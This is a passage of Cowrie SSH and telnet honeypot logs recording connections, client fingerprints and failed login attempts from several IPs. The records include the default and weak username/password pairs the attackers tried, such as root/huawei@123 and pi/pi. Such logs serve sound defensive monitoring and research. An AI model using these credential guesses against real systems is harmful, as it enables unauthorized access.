0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:04:26.318374Z","src_ip":"176.65.132.129","session":"b96b7e922466","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude123","message":"login attempt [claude/claude123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:04:26.717804Z","src_ip":"176.65.132.129","session":"b96b7e922466","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:04:27.803735Z","src_ip":"176.65.132.129","session":"b96b7e922466","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":44188,"dst_ip":"159.203.135.109","dst_port":22,"session":"7ead90448979","protocol":"ssh","message":"New connection: 176.65.132.129:44188 (159.203.135.109:22) [session: 7ead90448979]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:04:29.746179Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:04:29.751279Z","src_ip":"176.65.132.129","session":"7ead90448979","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:04:29.834750Z","src_ip":"176.65.132.129","session":"7ead90448979","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pi","password":"pi","message":"login attempt [pi/pi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:04:30.089200Z","src_ip":"176.65.132.129","session":"7ead90448979","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.106.245.20","src_port":60257,"dst_ip":"10.17.0.5","dst_port":22,"session":"ef57c2bfd6e9","protocol":"ssh","message":"New connection: 193.106.245.20:60257 (10.17.0.5:22) [session: ef57c2bfd6e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:04:30.191926Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:04:30.197396Z","src_ip":"193.106.245.20","session":"ef57c2bfd6e9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:04:30.325927Z","src_ip":"193.106.245.20","session":"ef57c2bfd6e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.04524779319763,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:04:30.586493Z","src_ip":"45.58.127.90","session":"ad5849f9e944","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.45486855506897,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:04:30.641577Z","src_ip":"45.58.127.90","session":"c6e37f1bcc85","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"nagios","password":"test1234","message":"login attempt [nagios/test1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:04:30.847241Z","src_ip":"193.106.245.20","session":"ef57c2bfd6e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:04:31.175586Z","src_ip":"176.65.132.129","session":"7ead90448979","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:04:31.973164Z","src_ip":"193.106.245.20","session":"ef57c2bfd6e9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":44200,"dst_ip":"159.203.135.109","dst_port":22,"session":"833a2e31477f","protocol":"ssh","message":"New connection: 176.65.132.129:44200 (159.203.135.109:22) [session: 833a2e31477f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:04:33.100004Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:04:33.104578Z","src_ip":"176.65.132.129","session":"833a2e31477f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:04:33.186710Z","src_ip":"176.65.132.129","session":"833a2e31477f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo14","password":"odoo14","message":"login attempt [odoo14/odoo14] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:04:33.433617Z","src_ip":"176.65.132.129","session":"833a2e31477f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:04:34.518221Z","src_ip":"176.65.132.129","session":"833a2e31477f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":33136,"dst_ip":"159.203.135.109","dst_port":22,"session":"75d4882d7d71","protocol":"ssh","message":"New connection: 176.65.132.129:33136 (159.203.135.109:22) [session: 75d4882d7d71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:04:36.650173Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:04:36.698339Z","src_ip":"176.65.132.129","session":"75d4882d7d71","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:04:36.750805Z","src_ip":"176.65.132.129","session":"75d4882d7d71","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"test","message":"login attempt [testuser/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:04:37.054310Z","src_ip":"176.65.132.129","session":"75d4882d7d71","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:04:38.139831Z","src_ip":"176.65.132.129","session":"75d4882d7d71","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":33144,"dst_ip":"159.203.135.109","dst_port":22,"session":"fa2291a5a35b","protocol":"ssh","message":"New connection: 176.65.132.129:33144 (159.203.135.109:22) [session: fa2291a5a35b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:04:40.107244Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:04:40.112862Z","src_ip":"176.65.132.129","session":"fa2291a5a35b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:04:40.195821Z","src_ip":"176.65.132.129","session":"fa2291a5a35b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"123123","message":"login attempt [user/123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:04:40.443775Z","src_ip":"176.65.132.129","session":"fa2291a5a35b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.450005292892456,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:04:40.569218Z","src_ip":"45.58.127.90","session":"9bbf20aa23a4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":34018,"dst_ip":"10.17.0.5","dst_port":23,"session":"9bb7e9d6755b","protocol":"telnet","message":"New connection: 45.58.127.90:34018 (10.17.0.5:23) [session: 9bb7e9d6755b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:04:40.948738Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:04:41.672823Z","src_ip":"176.65.132.129","session":"fa2291a5a35b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"84.239.42.8","src_port":9512,"dst_ip":"159.203.135.109","dst_port":22,"session":"fa2bbd144f51","protocol":"ssh","message":"New connection: 84.239.42.8:9512 (159.203.135.109:22) [session: fa2bbd144f51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:04:42.752113Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:04:42.756707Z","src_ip":"84.239.42.8","session":"fa2bbd144f51","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:04:42.884059Z","src_ip":"84.239.42.8","session":"fa2bbd144f51","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":33156,"dst_ip":"159.203.135.109","dst_port":22,"session":"9fba25d737ba","protocol":"ssh","message":"New connection: 176.65.132.129:33156 (159.203.135.109:22) [session: 9fba25d737ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:04:43.376095Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:04:43.380601Z","src_ip":"176.65.132.129","session":"9fba25d737ba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Administrator","password":"123456","message":"login attempt [Administrator/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:04:43.384986Z","src_ip":"84.239.42.8","session":"fa2bbd144f51","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:04:43.462175Z","src_ip":"176.65.132.129","session":"9fba25d737ba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"huawei@123","message":"login attempt [root/huawei@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:04:44.004215Z","src_ip":"176.65.132.129","session":"9fba25d737ba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":34032,"dst_ip":"10.17.0.5","dst_port":23,"session":"d66366b5e886","protocol":"telnet","message":"New connection: 45.58.127.90:34032 (10.17.0.5:23) [session: d66366b5e886]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:04:44.214604Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:04:44.517276Z","src_ip":"84.239.42.8","session":"fa2bbd144f51","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:04:45.089755Z","src_ip":"176.65.132.129","session":"9fba25d737ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.161166191101074,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:04:45.789699Z","src_ip":"45.58.127.90","session":"94ab04677b8f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":34034,"dst_ip":"10.17.0.5","dst_port":23,"session":"a828409b24e6","protocol":"telnet","message":"New connection: 45.58.127.90:34034 (10.17.0.5:23) [session: a828409b24e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:04:46.454595Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":37474,"dst_ip":"159.203.135.109","dst_port":22,"session":"f51dd3ac1260","protocol":"ssh","message":"New connection: 176.65.132.129:37474 (159.203.135.109:22) [session: f51dd3ac1260]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:04:46.886302Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:04:46.890330Z","src_ip":"176.65.132.129","session":"f51dd3ac1260","protocol":"ssh"}
